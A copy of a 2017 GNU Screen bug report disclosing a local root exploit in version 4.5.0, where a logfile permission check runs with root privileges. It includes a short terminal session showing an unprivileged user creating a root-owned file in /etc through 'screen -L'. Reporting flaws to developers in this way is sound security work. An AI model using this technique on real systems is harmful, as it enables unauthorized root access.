[screen-devel] [bug #50142] root exploit 4.5.0

[anonymous]

URL:
  <http://savannah.gnu.org/bugs/?50142>

                 Summary: root exploit 4.5.0
                 Project: GNU Screen
            Submitted by: None
            Submitted on: Tue 24 Jan 2017 07:05:09 PM UTC
                Category: Program Logic
                Severity: 3 - Normal
                Priority: 5 - Normal
                  Status: None
                 Privacy: Private
             Assigned to: None
             Open/Closed: Open
         Discussion Lock: Any
                 Release: None
           Fixed Release: None
         Planned Release: None
           Work Required: None

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Details:

Commit f86a374 ("screen.c: adding permissions check for the logfile name",
2015-11-04)

The check opens the logfile with full root privileges. This allows us to
truncate any file or create a root-owned file with any contents in any
directory and can be easily exploited to full root access in several ways.

> address@hidden:~$ screen --version
> Screen version 4.05.00 (GNU) 10-Dec-16
> address@hidden:~$ id
> uid=125(buczek) gid=125(buczek)
groups=125(buczek),15(users),19(adm),42(admin),154(Omp3grp),200(algrgrp),209(cdgrp),242(gridgrp),328(nchemgrp),407(hoeheweb),446(spwgrp),453(helpdesk),512(twikigrp),584(zmgrp),598(edv),643(megamgrp),677(greedgrp),5000(abt_srv),16003(framesgr),16012(chrigrp),17001(priv_cpw)
> address@hidden:~$ cd /etc
> address@hidden:/etc (master)$ screen -D -m -L bla.bla echo fail
> address@hidden:/etc (master)$ ls -l bla.bla
> -rw-rw---- 1 root buczek 6 Jan 24 19:58 bla.bla
> address@hidden:/etc (master)$ cat bla.bla
> fail
> address@hidden:/etc (master)$ 

Donald Buczek <address@hidden>





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